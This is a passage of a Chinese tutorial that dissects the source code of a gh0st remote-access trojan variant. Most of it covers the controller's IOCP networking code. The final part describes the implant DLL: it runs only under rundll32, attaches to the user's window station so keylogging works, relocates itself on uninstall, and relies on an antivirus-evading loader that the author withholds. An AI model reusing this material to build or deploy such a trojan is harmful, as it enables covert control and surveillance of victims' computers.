还是根据这个值让不同的窗口来处理。

4:就是上面已经出现的这一调用:((CDialog*)pContext->m_Dialog[1])->DestroyWindow();结束这些窗口。

 

接下来是调用这么一个函数:void CMainFrame::ShowConnectionsNumber()。这个函数是用来更新连接数量的。

 

void CMainFrame::ShowConnectionsNumber()

{

    CString str;

    str.Format("连接: %d", g_pConnectView->GetListCtrl().GetItemCount());

    m_wndStatusBar.SetPaneText(3, str);

}

至此,这个OnRemoveFromList这个函数已经结束了,我们按照我们来的路回滚回去。我们到达这么一个地方:CIOCPServer::RemoveStaleClient这个函数中的最末端。看看这个函数原型,其实在先前我们已经见识了这个函数的原型,在这里我们重新细致分析一下。

 voidCIOCPServer::MoveToFreePool(ClientContext *pContext)

{

  CLockcs(m_cs, "MoveToFreePool");

  // Freecontext structures

  POSITIONpos = m_listContexts.Find(pContext);

  if (pos)

  {

  pContext->m_CompressionBuffer.ClearBuffer();

  pContext->m_WriteBuffer.ClearBuffer();

  pContext->m_DeCompressionBuffer.ClearBuffer();

  pContext->m_ResendWriteBuffer.ClearBuffer();

  m_listFreePool.AddTail(pContext);

  m_listContexts.RemoveAt(pos);

  }

}

这个Clock cs的功能我们已经分析过了,就是保证此段代码必须是独享方式访问。接下来就是找到这个pContextm_listContexts这个结构中的位置,并且将ClientContext里面的所有的缓冲区都清掉,然后从m_listContexts移动到m_listFreePool中。到这个地方,我们对函数CIOCPServer::RemoveStaleClient这个函数的分析也就到这里了。继续回滚……

CIOCPServer:: CloseCompletionPort这个函数也就分析完毕了。继续回滚到这个函数——

voidCIOCPServer::Shutdown(),还剩下这么一点东西:

 

      DeleteCriticalSection(&m_cs);

while(!m_listFreePool.IsEmpty())

            delete m_listFreePool.RemoveTail();

 

删除互斥量+m_listFreePool这个链表清空。至此CIOCPServer::Shutdown()这个函数也已经分析完

 

    m_iocpServer = new CIOCPServer;

 

        // 开启IPCP服务器

        if (m_iocpServer->Initialize(NotifyProc, this, 100000, nPort))

        {

            char hostname[256];

            gethostname(hostname, sizeof(hostname));

            HOSTENT *host = gethostbyname(hostname);

            if (host != NULL)

            {

                for ( int i=0; ; i++ )

                {

                    str += inet_ntoa(*(IN_ADDR*)host->h_addr_list[i]);

                    if ( host->h_addr_list[i] + host->h_length >= host->h_name )

                        break;

                    str += "/";

                }

            }

            m_wndStatusBar.SetPaneText(0, str);

            str.Format("端口: %d", nPort);

            m_wndStatusBar.SetPaneText(2, str);

        }

        else

        {

            str.Format("端口%d绑定失败", nPort);

            m_wndStatusBar.SetPaneText(0, str);

            m_wndStatusBar.SetPaneText(2, "端口: 0");

        }

 

        m_wndStatusBar.SetPaneText(3, "连接: 0");

其实接下来,我们的工作只有两点,一个是分析CIOCPServer这个类的构造函数,再一个是分析CIOCPServer::Initialize这个函数。

 

走起,先看这个类的构造函数:CIOCPServer::CIOCPServer()

 

CIOCPServer::CIOCPServer()

{

    TRACE("CIOCPServer=%p\n",this);

 

    //

    WSADATA wsaData;

    WSAStartup(MAKEWORD(2,2), &wsaData);

 

    InitializeCriticalSection(&m_cs);

 

    m_hThread       = NULL;

    m_hKillEvent    = CreateEvent(NULL, TRUE, FALSE, NULL);

    m_socListen     = NULL;

 

    m_bTimeToKill       = false;

    m_bDisconnectAll    = false;

 

    m_hEvent        = NULL;

    m_hCompletionPort= NULL;

 

    m_bInit = false;

    m_nCurrentThreads   = 0;

    m_nBusyThreads      = 0;

 

    m_nSendKbps = 0;

    m_nRecvKbps = 0;

 

    m_nMaxConnections = 10000;

    m_nKeepLiveTime = 1000 * 60 * 3; // 三分钟探测一次

    // Packet Flag;

    BYTE bPacketFlag[] = {'F', 'U', 'L', 'L', 'R','A','t'};

    memcpy(m_bPacketFlag, bPacketFlag, sizeof(bPacketFlag));

}

初始化套接字,创建互斥量m_cs,创建一个用于结束监听线程的事件:m_hKillEvent,初始化了一个用于在传输中当做标记的字符串。接下来开始明确各个在这个函数中初始化的变量的含义。

m_hThread

m_hThread =

                    (HANDLE)_beginthreadex(NULL,                     // Security

                                                               0,                              //Stack size - use default

                                                               ListenThreadProc,  // Thread fn entry point

                                                               (void*) this,    

                                                               0,                              // Init flag

                                                               &dwThreadId);    // Thread address

是作为监听线程的句柄而存在的。

m_hKillEvent

if(WaitForSingleObject(pThis->m_hKillEvent, 100) == WAIT_OBJECT_0)

    break;

是作为何时结束监听线程的一个哨兵存在的。

m_socListen

m_socListen=WSASocket(AF_INET,SOCK_STREAM,0,NULL,0,xxx)

是作为监听套接字来使用的。

m_bTimeToKill

for (BOOLbStayInPool = TRUE; bStayInPool && pThis->m_bTimeToKill == false; )

作为何时结束为完成端口服务的工作线程的哨兵来使用的。

m_bDisconnectAll

void CIOCPServer::DisconnectAll()

{

      m_bDisconnectAll = true;

是作为关闭掉所有的连接的一个哨兵来使用的。

m_hEvent

int nRet =WSAEventSelect(m_socListen,

                                     m_hEvent,

                                     FD_ACCEPT);

给监听套接字的事件对象,发生FD_ACCEPT的时候该套接字被置信。

m_hCompletionPort

m_hCompletionPort= CreateIoCompletionPort( (HANDLE)s, NULL, 0, 0 );

这个肯定是用来记录完成端口的了。

m_bInit

InitializeIOCP();

m_bInit = true;

用来记录完成端口是否初始化完毕,这包括完成端口的创建、为完成端口工作的线程的初始化。

m_nCurrentThreads

m_nBusyThreads

InterlockedIncrement(&pThis->m_nCurrentThreads);

InterlockedIncrement(&pThis->m_nBusyThreads);

这两个变量,一个用来记录当前进程中为完成端口服务的所有的线程,一个用于记录为完成端口服务的线程中当前处于工作状态中的线程数量。为什么有的线程是不处于工作状态中呢,看下面这段代码:

 

for (BOOL bStayInPool = TRUE; bStayInPool && pThis->m_bTimeToKill == false; )

    {

        pOverlapPlus    = NULL;

        lpClientContext = NULL;

        bError          = false;

        bEnterRead      = false;

        // Thread is Block waiting for IO completion

        InterlockedDecrement(&pThis->m_nBusyThreads);

 

 

        // Get a completed IO request.

        BOOL bIORet = GetQueuedCompletionStatus(

              hCompletionPort,

              &dwIoSize,

              (LPDWORD) &lpClientContext,

              &lpOverlapped, INFINITE);

 

        DWORD dwIOError = GetLastError();

        pOverlapPlus = CONTAINING_RECORD(lpOverlapped, OVERLAPPEDPLUS, m_ol);

 

 

        int nBusyThreads = InterlockedIncrement(&pThis->m_nBusyThreads);

所有为完成端口服务的工作线程,他们都会有这么一个瓶颈,会等待在这个完成端口上,一直到这个完成端口有了读、写的请求,才会被唤醒。因此,在所有的工作线程中会有一大部分的线程是处于挂起状态的。

m_nSendKbps

m_nRecvKbps

str.Format("S:%.2f kb/s R: %.2f kb/s", (float)m_iocpServer->m_nSendKbps / 1024,(float)m_iocpServer->m_nRecvKbps / 1024);

是记录实时的发送速度以及接收速度的。

m_nMaxConnections

if(m_iocpServer->m_nMaxConnections <=g_pConnectView->GetListCtrl().GetItemCount())

{

      closesocket(pContext->m_Socket);

}

记录最大的上线数量。当目前ListView中的上线数量大于m_nMaxConnections的时候,就不再受理连接请求了。

m_nKeepLiveTime

// 设置超时详细信息

tcp_keepalive klive;

klive.onoff = 1;// 启用保活

klive.keepalivetime= m_nKeepLiveTime;

klive.keepaliveinterval= 1000 * 10; // 重试间隔为10 Resend if No-Reply

WSAIoctl

(

pContext->m_Socket,

      SIO_KEEPALIVE_VALS,

      &klive,

      sizeof(tcp_keepalive),

      NULL,

      0,

      (unsigned long *)&chOpt,

      0,

      NULL

);

为什么这个地方要挑出来详细讲解呢?昨晚睡觉之前的时候,我还在考虑一个问题,我写的远控都是自己每隔一段时间发送探测报文,如果受控端还保活则不会在ListView列表中删除之,相反,如果在发送探测报文的时候出现了我们无法预料的返回值,就默认为出错,即返回值是:SOCKET_ERROR并且WSAGetLastError()==WSAEWOULDBLOCK

gh0st里是如何实现这个功能的呢,就是通过上面的这种保活机制,关于这种保活机制的解释如下:

针对完成端口的socket,设置了SIO_KEEPALIVE_VALS后,激活包由TCP STACK来负责。

当网络连接断开后,TCP STACK并不主动告诉上层的应用程序,但是当下一次RECV或者SEND操作进行后,马上就会返回错误告诉上层这个连接已经断开了,在这里再对掉线的受控端进行清除出ListView列表控件处理.如果检测到断开的时候,在这个连接上有正在PENDINGIO操作,则马上会失败返回。

上面这句代码的含义是:每隔m_nKeepLiveTime的时间,开始向受控端发送激活包,重复发送五次,每次发送的时间间隔是10秒钟,如果在十秒钟之内都没能得到回复,则判定受控端已经掉线。对掉线后的处理,在这里我必须要说说:由于TCP STACK并不主动告诉上层的应用程序,只有当下一次发送数据,或者接收数据的时候才会被发现,看下面的解释:

 

oid CIOCPServer::PostRecv(ClientContext* pContext)

{

    // issue a read request

    OVERLAPPEDPLUS * pOverlap = new OVERLAPPEDPLUS(IORead);

    ULONG           ulFlags = MSG_PARTIAL;

    DWORD           dwNumberOfBytesRecvd;

    UINT nRetVal = WSARecv(pContext->m_Socket,

        &pContext->m_wsaInBuffer,

        1,

        &dwNumberOfBytesRecvd,

        &ulFlags,

        &pOverlap->m_ol,

        NULL);

   

    if ( nRetVal == SOCKET_ERROR && WSAGetLastError() != WSA_IO_PENDING)

    {

        RemoveStaleClient(pContext, FALSE);

    }

}

接收数据的时候,可能已经掉线

发送数据的时候,可能已经掉线。这两个地方就是对不保活的受控端进行一个清除的处理过程。在源码中的说明文件中,说是启用了“心跳包机制防止意外掉线..”其实源码中的这个机制并没有启用:

 

case TOKEN_AUTH: // 要求验证

            m_iocpServer->Send(pContext, (PBYTE)m_PassWord.GetBuffer(0), m_PassWord.GetLength() + 1);

            break;

        case TOKEN_HEARTBEAT: // 回复心跳包

            {

                BYTE    bToken = COMMAND_REPLAY_HEARTBEAT;

                m_iocpServer->Send(pContext, (LPBYTE)&bToken, sizeof(bToken));

            }

            break;

这两个功能都没有启用,其实启用了SIO_KEEPALIVE_VALS,这个功能,回复心跳包这个东西是由TCP栈来处理的,不用劳烦应用层自己去实现保证心跳包机制,所以在这一点,原作者有点多虑了。在后续的被控端上线的时候我们还要做一番阐述。

bPacketFlag

传输的数据包中携带的标记字符串。主控端与被控端交互的过程中所发的数据包中含有标记。关于传输的过程中的一些数据包交互,我们在后面的内容中会作为重点去讲解,在这里我们就不再深入。

 

接下来,我们开始分析让主控端处于监听上线的部分,这个部分执行完之后,主控端如果没有上线主机主动来撩拨它的话,应该就算一个完整的启动过程了

 bool CIOCPServer::Initialize(NOTIFYPROC pNotifyProc, CMainFrame* pFrame, int nMaxConnections, int nPort)

{

    m_pNotifyProc   = pNotifyProc;

    m_pFrame        =  pFrame;

    m_nMaxConnections = nMaxConnections;

    m_socListen = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, WSA_FLAG_OVERLAPPED);

 

 

    if (m_socListen == INVALID_SOCKET)

    {

        TRACE(_T("Could not create listen socket %ld\n"),WSAGetLastError());

        return false;

    }

 

    // Event for handling Network IO

    m_hEvent = WSACreateEvent();

 

    if (m_hEvent == WSA_INVALID_EVENT)

    {

        CString str ;

        str.Format("WSACreateEvent() error %ld\n",WSAGetLastError());

        TRACE(str);

        closesocket(m_socListen);

        return false;

    }

 

    // The listener is ONLY interested in FD_ACCEPT

    // That is when a client connects to or IP/Port

    // Request async notification

    int nRet = WSAEventSelect(m_socListen,

                          m_hEvent,

                          FD_ACCEPT);

 

    if (nRet == SOCKET_ERROR)

    {

        CString str ;

        str.Format("WSAEventSelect() error %ld\n",WSAGetLastError());

        TRACE(str);

        closesocket(m_socListen);

        return false;

    }

 

    SOCKADDR_IN     saServer;      

 

 

    // Listen on our designated Port#

    saServer.sin_port = htons(nPort);

 

    // Fill in the rest of the address structure

    saServer.sin_family = AF_INET;

    saServer.sin_addr.s_addr = INADDR_ANY;

 

    // bind our name to the socket

    nRet = bind(m_socListen,

                (LPSOCKADDR)&saServer,

                sizeof(struct sockaddr));

 

    if (nRet == SOCKET_ERROR)

    {

        CString str ;

        str.Format("bind() error %ld\n",WSAGetLastError());

        TRACE(str);

        closesocket(m_socListen);

        return false;

    }

 

    // Set the socket to listen

    nRet = listen(m_socListen, SOMAXCONN);

    if (nRet == SOCKET_ERROR)

    {

        CString str ;

        str.Format("listen() error %ld\n",WSAGetLastError());

        TRACE(str);

        closesocket(m_socListen);

        return false;

    }

 

 

   

   

    UINT    dwThreadId = 0;

 

    m_hThread =

            (HANDLE)_beginthreadex(NULL,                // Security

                                     0,                 // Stack size - use default

                                     ListenThreadProc//Thread fn entry point

                                     (void*) this,     

                                     0,                 // Init flag

                                     &dwThreadId);  //Thread address

 

    if (m_hThread != INVALID_HANDLE_VALUE)

    {

        InitializeIOCP();

        m_bInit = true;

        return true;

    }

 

    return false;

}

 

 

 

以上就是CIOCPServer::Initialize()函数的整个执行过程。现在我们一点点分析这个初始化IOCPServer的过程。

 

首先是这个:m_pNotifyProc     = pNotifyProc。将这个函数指针传递给CIOCPServer的成员变量m_pNotifyProc的目的是因为,在CIOCPServer的众多函数中,他们的一个执行状态需要反映到界面上,比如受控端上线、下线,传输速度等等,都需要这个函数反映到界面上。

m_pNotifyProc((LPVOID)m_pFrame, pContext, NC_CLIENT_CONNECT);上线

m_pNotifyProc((LPVOID)m_pFrame, pContext, NC_RECEIVE);收到数据

m_pNotifyProc((LPVOID)m_pFrame, pContext, NC_RECEIVE_COMPLETE);接收完成

m_pNotifyProc((LPVOID)m_pFrame, pContext, NC_TRANSMIT);发送数据

m_pNotifyProc((LPVOID)m_pFrame, pContext, NC_CLIENT_DISCONNECT);掉线

着所有的网络行为最终都通过这个函数反映到了界面上。

 

紧跟着的是这个m_pFrame  =  pFrame;,它存在的意义就是给m_pNotifyProc作为参数用

 

接下来,创建监听套接字,注意这个套接字的创建形式:创建的是非阻塞模式的套接字。

m_socListen =WSASocket(AF_INET,

SOCK_STREAM,

0,

NULL,

0,

WSA_FLAG_OVERLAPPED);

 

创建网络事件对象:m_hEvent = WSACreateEvent();

 

将网络事件对象关联到先前创建的这个监听套接字上:

int nRet =WSAEventSelect(m_socListen,

                                     m_hEvent,

                                     FD_ACCEPT);

将套接字绑定到本机上:

nRet =bind(m_socListen,

               (LPSOCKADDR)&saServer,

               sizeof(struct sockaddr));

 

开始监听:nRet = listen(m_socListen, SOMAXCONN);

 

创建一个线程,专门等待到来的连接:

m_hThread=(HANDLE)_beginthreadex(NULL,                       // Security

                                                        0,                              // Stack size - use default

                                                        ListenThreadProc,  // Thread fn entry point

                                                        (void*) this,    

                                                        0,                              // Init flag

                                                        &dwThreadId);    // Thread address

 

接下来,这个线程函数主要是对到来的连接进行一个处理。我们看看在这个线程中具体的都做了哪些工作:

 

    if (nRet == SOCKET_ERROR)

        {

            TRACE(_T("WSAEnumNetworkEvents error %ld\n"),WSAGetLastError());

            break;

        }

 

        // Handle Network events //

        // ACCEPT

        if (events.lNetworkEvents & FD_ACCEPT)

        {

            if (events.iErrorCode[FD_ACCEPT_BIT] == 0)

                pThis->OnAccept();

            else

            {

                TRACE(_T("Unknown network event error %ld\n"),WSAGetLastError());

                break;

            }

 

        }

 

    } // while....

 

    return 0; // Normal Thread Exit Code...

}

 

对这个监听线程函数简要的说说,因为实在没什么新颖的地方:

首先进入一个无线循环,并且在循环入口设置好了一个退出此无线循环的监视点。关于这个点的分析,我们在前面已经详述,在这里再提一下:

if(WaitForSingleObject(pThis->m_hKillEvent, 100) == WAIT_OBJECT_0)

  break;

CIOCPServer::Stop()这个函数中::SetEvent(m_hKillEvent);将这个事件置信,这个时候这个无线循环会因为这个对象的置信而退出。

 

其实这个线程一般会被阻塞在接下来的这个函数里,除非有受控端上线:

dwRet =WSAWaitForMultipleEvents(1,

                                                  &pThis->m_hEvent,

                                                  FALSE,

                                                  100,

                                                  FALSE);

因为m_hEvent就是一个自动重置的事件对象,并且已经用函数:WSAEventSelect将这个事件对象与一个套接字做了绑定处理。当有客户端上线的时候,会发生一个FD_ACCEPT的网络事件,这个时候这个事件对象会被置信。线程函数会继续往下执行。

 

线程函数会判断发生在这个套接字上的网络事件是不是FD_ACCEPT,如果是的话那么就会进行下面的连接等一系列的处理。这个留待我们下文中阐述。

int nRet =WSAEnumNetworkEvents(pThis->m_socListen,

                                                   pThis->m_hEvent,

                                                   &events);

if(events.lNetworkEvents & FD_ACCEPT)

{

if(events.iErrorCode[FD_ACCEPT_BIT] == 0)

      pThis->OnAccept();

至此,这个线程函数的功能我们就算分析完了,这个CIOCPServer::OnAccept这个函数的功能,我们留待讲完CIOCPServer::InitializeIOCP这个功能回头再论述。

 

bool CIOCPServer::InitializeIOCP(void)

{

 

    SOCKET s;

    DWORD i;

    UINT  nThreadID;

    SYSTEM_INFO systemInfo;

 

    //

    // First open a temporary socket that we will use to create the

    // completion port.  In NT 3.51 itwill not be necessary to specify

    // the FileHandle parameter of CreateIoCompletionPort()--it will

    // be legal to specify FileHandle as NULL. However, for NT 3.5

    // we need an overlapped file handle.

    //

 

    s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);

    if ( s == INVALID_SOCKET )

        return false;

 

    // Create the completion port that will be used by all the worker

    // threads.

    m_hCompletionPort = CreateIoCompletionPort( (HANDLE)s, NULL, 0, 0 );

    if ( m_hCompletionPort == NULL )

    {

        closesocket( s );

        return false;

    }

 

    // Close the socket, we don't need it any longer.

    closesocket( s );

 

    // Determine how many processors are on the system.

    GetSystemInfo( &systemInfo );

 

    m_nThreadPoolMin  = systemInfo.dwNumberOfProcessors * HUERISTIC_VALUE;

    m_nThreadPoolMax  = m_nThreadPoolMin;

    m_nCPULoThreshold = 10;

    m_nCPUHiThreshold = 75;

 

    m_cpu.Init();

 

 

    // We use two worker threads for eachprocessor on the system--this ischoosen as a good balance

    // that ensures that there are a sufficient number of threads available toget useful work done

    // but not too many that context switches consume significant overhead.

    UINT nWorkerCnt = systemInfo.dwNumberOfProcessors * HUERISTIC_VALUE;

 

    // We need to save the Handles for Later Termination...

    HANDLE hWorker;

    m_nWorkerCnt = 0;

 

    for ( i = 0; i < nWorkerCnt; i++ )

    {

        hWorker = (HANDLE)_beginthreadex(NULL,                  //Security

                                        0,                      // Stacksize - use default

                                        ThreadPoolFunc,         // Thread fn entrypoint

                                        (void*) this,           // Param for thread

                                        0,                      // Initflag

                                        &nThreadID);            // Thread address

 

 

        if (hWorker == NULL )

        {

            CloseHandle( m_hCompletionPort );

            return false;

        }

 

        m_nWorkerCnt++;

 

        CloseHandle(hWorker);

    }

 

    return true;

}

 

这一段代码的含义就是创建一个完成端口,这个完成端口的创建是为了以后将上线的被控端的socket与这个完成端口相关联起来,注意看MSDN上关于此函数的说明:

TheCreateIoCompletionPort function can associate an instance of an opened filewith a newly created or an existing input/output (I/O) completion port; or itcan create an I/O completion port without associating it with a file

 

也就是说这个函数既可以将某个打开的“文件”句柄与新创建的或者已经存在的输入输出端口相关联起来,也可以仅仅创建一个完成端口而不与某个“文件”相关联。上图中所示的用法仅仅是创建了一个完成端口,而并没有与任何的句柄相关联。至于关联的情况,请看下面的例子:

 

BOOL CIOCPServer::AssociateSocketWithCompletionPort(SOCKET socket, HANDLE hCompletionPort, DWORD dwCompletionKey)

{

    HANDLE h = CreateIoCompletionPort((HANDLE) socket, hCompletionPort, dwCompletionKey, 0);

    return h == hCompletionPort;

}

 

这里是将各个上线的受控端与主控端的连接套接字关联到前面已经创建的这个完成端口上。

关于这部分的知识,我们会在后续的课程中加以详述。

 

接下来

GetSystemInfo( &systemInfo );

 

    m_nThreadPoolMin  = systemInfo.dwNumberOfProcessors * HUERISTIC_VALUE;

    m_nThreadPoolMax  = m_nThreadPoolMin;

    m_nCPULoThreshold = 10;

    m_nCPUHiThreshold = 75;

 

    m_cpu.Init();

 

 

    // We use two worker threads for eachprocessor on the system--this ischoosen as a good balance

    // that ensures that there are a sufficient number of threads available toget useful work done

    // but not too many that context switches consume significant overhead.

    UINT nWorkerCnt = systemInfo.dwNumberOfProcessors * HUERISTIC_VALUE;

 

    // We need to save the Handles for Later Termination...

    HANDLE hWorker;

    m_nWorkerCnt = 0;

 

,我们需要继续看CIOCPServer::InitializeIOCP这个函数的剩余部分内容:

 

这部分内容就是查询出计算机的核心数,并且根据核心数自适应调整运行于本机器上的最大、最小线程数。

还有一个功能就是初始化了查询CPU使用状态的这么一个类,关于这个类的详细说明如下:

 

 

CCpuUsage::CCpuUsage()

{

    m_hQuery = NULL;

    m_pCounterStruct = NULL;

 

}

 

CCpuUsage::~CCpuUsage()

{

 

    PdhCloseQuery(m_hQuery);

    delete m_pCounterStruct;

}

 

 

BOOL CCpuUsage::Init()

{

    if (ERROR_SUCCESS != PdhOpenQuery(NULL, 1, &m_hQuery))

        return FALSE;

 

    m_pCounterStruct = (PPDHCOUNTERSTRUCT) new PDHCOUNTERSTRUCT;

 

    PDH_STATUS pdh_status = PdhAddCounter(m_hQuery, szCounterName, (DWORD) m_pCounterStruct, &(m_pCounterStruct->hCounter));

    if (ERROR_SUCCESS != pdh_status)

    {

        return FALSE;

    }

 

 

 

    return TRUE;

}

 

 

int CCpuUsage::GetUsage()

{

    PDH_FMT_COUNTERVALUE pdhFormattedValue;

 

    PdhCollectQueryData(m_hQuery);

 

    if (ERROR_SUCCESS != PdhGetFormattedCounterValue(

                                    m_pCounterStruct->hCounter,

                                    PDH_FMT_LONG,

                                    NULL,

                                    &pdhFormattedValue ))

 

 

    {

        return 0;

    }

 

    return pdhFormattedValue.longValue;

}

 

 

功能就一句话,就是查看当前CPU的一个使用情况的。

具体,我们来学习几个监视API函数。

1PdhOpenQuery:先来看看MSDN上对这个函数的解释:

The PdhOpenQueryfunction creates and initializes a unique query structure that is used tomanage collection of performance data.

这个函数创建并初始化一个用于管理性能数据集合的一个唯一的查询结构。

PDH_STATUSPdhOpenQuery(   IN LPVOID pReserved,  // reserved 

                         IN DWORD dwUserData,  // a value associated with this query 

                         IN HQUERY *phQuery    // pointer to a buffer that willreceivethe                       // query handle );

最重要的就是phQuery返回来的这个句柄,因为在后续的查询中这个句柄会被频繁用到。

2PdhAddCounter这个函数的使用方法。

PDH_STATUSPdhAddCounter(   IN HQUERY hQuery,      // handle to the query 

                          IN LPCTSTR szFullCounterPath, // path of the counter 

                          IN DWORD dwUserData,    // user-defined value 

                          IN HCOUNTER *phCounter  // pointer to the counter handle buffer );这个函数的作用就是将自己关心的查询结构体添加到查询句柄中。

3PdhCollectQueryData这个函数的使用方法。

PDH_STATUSPdhCollectQueryData(   IN HQUERY hQuery  // handle of thequery );

这个函数的作用就是收集我们将要查询的性能参数数据。

4PdhGetFormattedCounterValue这个函数的使用方法。

PDH_STATUSPdhGetFormattedCounterValue(   IN HCOUNTER hCounter, // handleof thecounter                                            IN DWORD dwFormat,   // formatting flag 

                                         IN LPDWORD lpdwType, // counter type 

                                         INPPDH_FMT_COUNTERVALUE pValue  );

格式化输出我们查询的信息。

5PdhCloseQuery这个函数的用法。

PDH_STATUSPdhCloseQuery(   IN HQUERY hQuery  // handle of the queryto close and delete. );

关闭掉查询句柄。综上所述,对某个性能信息的查询主要分以下五个步骤进行。

1:打开计数器 PdhOpenQuery

2:把感兴趣的计数器添加进来 PdhAddCounter

3:收集数据 PdhCollectQueryData

4:得到计数器的数值 PdhGetFormattedCounterValue

5:关闭计数器 PdhCloseQuery

 

我们继续看CIOCPServer::InitializeIOCP这个函数的剩余部分。

 

 

    for ( i = 0; i < nWorkerCnt; i++ )

    {

        hWorker = (HANDLE)_beginthreadex(NULL,                  //Security

                                        0,                      // Stacksize - use default

                                        ThreadPoolFunc,         // Thread fn entrypoint

                                        (void*) this,           // Param for thread

                                        0,                      // Initflag

                                        &nThreadID);            // Thread address

 

 

        if (hWorker == NULL )

        {

            CloseHandle( m_hCompletionPort );

            return false;

        }

 

        m_nWorkerCnt++;

 

        CloseHandle(hWorker);

    }

 

    return true;

}

就是创建了几个可以为这个完成端口进行服务的工作线程。至于线程的数量是根据当前机器的核心数相关的。

 

至此,被控端连接到主控端之前的所有通信协议基本上都已经分析完了。当然了在这里确实还剩下两个重要的函数没有去分析,一个就是刚才创建的这个线程的线程函数,而另外一个地方就是在监听线程里面当有被控端连接来的时候,调用的CIOCPSserver::OnAccept这个函数。好了就到这里,在下面的课程中我们会讲述有被控端机子主动来连接的时候,到正常的通讯过程,那个时候才真正的涉及到通信协议的传输。

                                                                                                                                          

 

 

 

 

 

 

 

 

 

 

从被控端主动去连接主控端开始谈起。世间万事万物有始有终,宇宙环宇的动力起点就是上帝的那一推之力。当然,主控端与被控端的交互总是从被控端主动连接到主控端开始的,让我们从发起连接这个引爆点谈起……

*******************************************************************************

首先,我需要声明一点,我们本款远控软件仅仅就是一个DLL文件,为什么我们的木马就是一个DLL文件,因为要让我们的这个木马躲过杀软的截杀必须想尽各种猥琐的方法让其启动,这就需要我们开发第三方的程序去启动我们的这个DLL,而如今计算机病毒的精彩技术就体现在这个第三方程序上,第三方程序的犀利程度也成了写计算机病毒的人水平高低的一个衡量标准。我们或许在后续的文章中不会向大家展示这第三方程序的开发思路,因为一旦将这种思路公布,我们的这个远控就具备了真正的杀伤力。还有一个因素,我们这套课程的主题就是分析gh0st的通信协议,因此,对其它的内容我们会因课程的需要稍微提一下而已。好,我们接下来看看我们的这款gh0st变种的一个执行过程。

 

首先,在这个DLL被加载的时候,会判断自身的一个执行环境,如果是在rundll32.dll里,那就开始后续的操作,否则不会有任何的动作。

接下来创建了一个工作线程,这个工作线程的线程函数为Login,从函数名字我们也可以看出就是取连接主控端。关于这个函数的功能,我们稍后详述,在这里我们看一下下面这个语:CKeyboardManager::g_hInstance=(HINSTANCE)hModule;

从这里我们可以看出,这个值会在卸载自身的时候被用到。

接下来,我们看看这个Login线程函数,因为这个函数比较大,我们分为四段进行讲解。

首先,是创建一个互斥量,保证单个实例运行。

HANDLECreateMutex(                 LPSECURITY_ATTRIBUTES lpMutexAttributes,                   BOOL bInitialOwner,                    LPCTSTR lpName       );

接下来是设置工作站,关于设置工作站的作用,因为gh0st的原作者是将这个DLL文件加载到系统服务运行的,这样就有一个问题:服务是system运行的,有自己的窗口站,和我们默认使用的winsta0“不是一个窗口站,不能直接通讯、交互,因此,需要我们自己设置本进程的工作站为winsta0。这样这个DLL就可以与我们默认使用的这个窗口站上的程序进行交互,比如后续中的查找窗口、截获键盘记录等操作才会有效。

设置工作站的一组API如下:

1HWINSTA GetProcessWindowStation(VOID)The GetProcessWindowStation functionreturns a handle to the window station associated with the calling process.

这个函数会返回一个与调用此函数的进程相关的窗口工作站句柄。

2HWINSTAOpenWindowStation(                          LPTSTR lpszWinSta,                        BOOL fInherit,                                 DWORDdwDesiredAccess                           );

The OpenWindowStation function returns a handle to an existing windowstation.

这个函数会返回一个指定的已经存在的窗口工作站的句柄。

3BOOL SetProcessWindowStation(HWINSTA hWinSta);TheSetProcessWindowStation function assigns a window station to the callingprocess. This enables the process to access objects in the window station suchas desktops, the clipboard, and global atoms. All subsequent operations on thewindow station use the access rights granted to hWinSta.

这个函数会为调用此函数的进程设置一个窗口工作站。这使得这个进程可以访问到属于这个窗口工作站的对象,比如桌面、剪切板、还有全局的变量。在这个工作站上的所有后续操作都将依赖于hWinSta所具有的访问权限。

 

再接下来是设置本进程的错误模式,如果在本进程中发生了严重级别比较高的错误的时候,会将错误发送到本进程来处理,而不是不负责的弹出一个错误对话框,要注意我们这个DLL的坯子可不是很好。

UINT SetErrorMode(UINT uMode);The SetErrorMode function controlswhether the system will handle the specified types of serious errors, orwhether the process will handle them.

这个函数可以设置是否由系统来处理一些制定类型的严重错误,还是由程序来处理他们。

对几个变量的作用进行解析。

1lpszHost:将要连上的主控端的IP地址或者域名地址

2dwPort:将要连接上的主控端的监听端口

3hEvent:这个变量是作为主线程退出的一个哨兵监视点,看看这个变量被利用的几个位置。

A:在向主控端进行连接的时候的这个无限循环的开始处,有如下的调用

for (int i = 0; i < 500; i++)

{

hEvent = OpenEvent(EVENT_ALL_ACCESS, false,"BITS");

   if (hEvent != NULL)

   {

socketClient.Disconnect();

         CloseHandle(hEvent);

         break;

}

        Sleep(60);

}

B:在主控端要求结束进行对被控端的控制的时候,对此变量有这样的操作

void CKernelManager::UnInstallService()

{

  char MyPath[MAX_PATH];

  GetModuleFileName(CKeyboardManager::g_hInstance,MyPath,MAX_PATH);

  DeleteFile("C:\\FW.FW");

  MoveFile(MyPath,"C:\\FW.FW");

  CreateEvent(NULL, true, false, m_strKillEvent);

}

C:在向主控端进行连接的时候的这个无限循环的结束处,有如下的调用

do

{

      hEvent = OpenEvent(EVENT_ALL_ACCESS, false,"BITS");

        dwIOCPEvent =WaitForSingleObject(socketClient.m_hEvent, 100);

        Sleep(500);

} while(hEvent == NULL && dwIOCPEvent != WAIT_OBJECT_0);

    对以上三处的调用我们做一个说明:第一处调用是在判断当前没有连接、并分析出当前没有连接的原因不是NOT_CONNECT,这个时候会在一个循环中等待第二处调用的地方将这个Event创建出来,即所有操作完成后,通知主线程可以退出。第三处的调用跟第一处调用类似,知识多了一个IOCPEvent的判断。

4bBreakError就是一个记录断开连接的原因的一个变量。

 

接下来,我们根据程序的执行流程走一遍,先看CClientSocket socketClient;

看看CClientSocket这个类的构造函数中都进行了哪些操作。

初始化了Socket库,创建了一个人工置信、初始状态未受信、未命名的一个事件对象。关于这个事件对象的作用,我们看以下几个地方。                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  

1:在CClientSocket::CClientSocket()

   m_hEvent = CreateEvent(NULL, true, false, NULL);创建了这个事件对象

2:在CClientSocket::~CClientSocket()

   CloseHandle(m_hEvent);关闭了事件对象句柄

